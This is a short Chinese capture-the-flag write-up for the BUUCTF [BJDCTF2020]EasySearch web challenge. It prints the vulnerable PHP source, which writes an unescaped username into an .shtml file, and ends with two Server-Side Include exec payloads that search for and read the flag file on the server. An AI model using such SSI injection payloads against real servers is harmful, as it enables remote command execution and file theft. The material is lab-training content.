150,[5] BUUCTF WEB [BJDCTF2020]EasySearch
进入靶场
有个文件
和之前一道题如出一辙
<?php
// 开启输出缓冲,将后续所有的输出内容先暂存到缓冲区,而不是直接发送到浏览器
ob_start();
/**
* 生成一个基于随机字符串和唯一标识符的哈希值
* @return string 返回生成的 sha1 哈希值
*/
function get_hash(){
// 定义一个包含大写字母、小写字母、数字和一些特殊字符的字符集
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
// 从字符集中随机选取 5 个字符并拼接成一个随机字符串
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)]; // Random 5 times
// 生成一个基于当前时间戳的唯一标识符,并与随机字符串拼接
$content = uniqid().$random;
// 对拼接后的字符串进行 sha1 哈希处理,并返回哈希值
return sha1($content);
}
// 设置响应的 HTTP 头,指定内容类型为 HTML,字符编码为 UTF-8
header("Content-Type: text/html;charset=utf-8");
// 检查是否通过 POST 方法提交了 'username' 字段,并且该字段不为空
if(isset($_POST['username']) && $_POST['username'] != '' )
{
// 定义一个管理员密码的 md5 哈希值的前 6 位作为验证依据
$admin = '6d0bc1';
// 计算用户提交的密码的 md5 哈希值,并截取前 6 位,与预设的验证值进行比较
if ( $admin == substr(md5($_POST['password']),0,6)) {
// 如果验证通过,弹出一个 JavaScript 警告框,提示欢迎进入管理系统
echo "<script>alert('[+] Welcome to manage system')</script>";
// 生成一个随机的文件名,文件扩展名为 .shtml,存放在 public 目录下
$file_shtml = "public/".get_hash().".shtml";
// 以写入模式打开文件,如果无法打开则终止程序并输出错误信息
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
// 定义要写入文件的 HTML 内容,包含欢迎信息和用户提交的用户名
$text = '
<!-- 这里可以补充完整的 HTML 结构和样式 -->
<!-- 这里可以补充完整的 HTML 结构和样式 -->
<h1>Hello,'.$_POST['username'].'</h1>
<!-- 这里可以补充完整的 HTML 结构和样式 -->
<!-- 这里可以补充完整的 HTML 结构和样式 -->';
// 将定义好的文本内容写入文件
fwrite($shtml,$text);
// 关闭文件句柄,释放资源
fclose($shtml);
// 这里输出提示信息,表明可能存在 HTTP 头错误,但不清楚具体逻辑
echo "[!] Header error ...";
} else {
// 如果验证不通过,弹出一个 JavaScript 警告框,提示登录失败
echo "<script>alert('[!] Failed')</script>";
}
} else {
// 如果没有提交 'username' 字段或该字段为空,可以在这里添加相应的处理逻辑
// 例如提示用户输入用户名
}
// 可以在这里添加一些收尾的代码,例如刷新输出缓冲区等
?>
没得到什么信息
抓包
<!--#exec cmd="find / -name flag*"-->
<!--#exec cmd="tac /var/www/html/flag_990c66bf85a09c664f0b6741840499b2"-->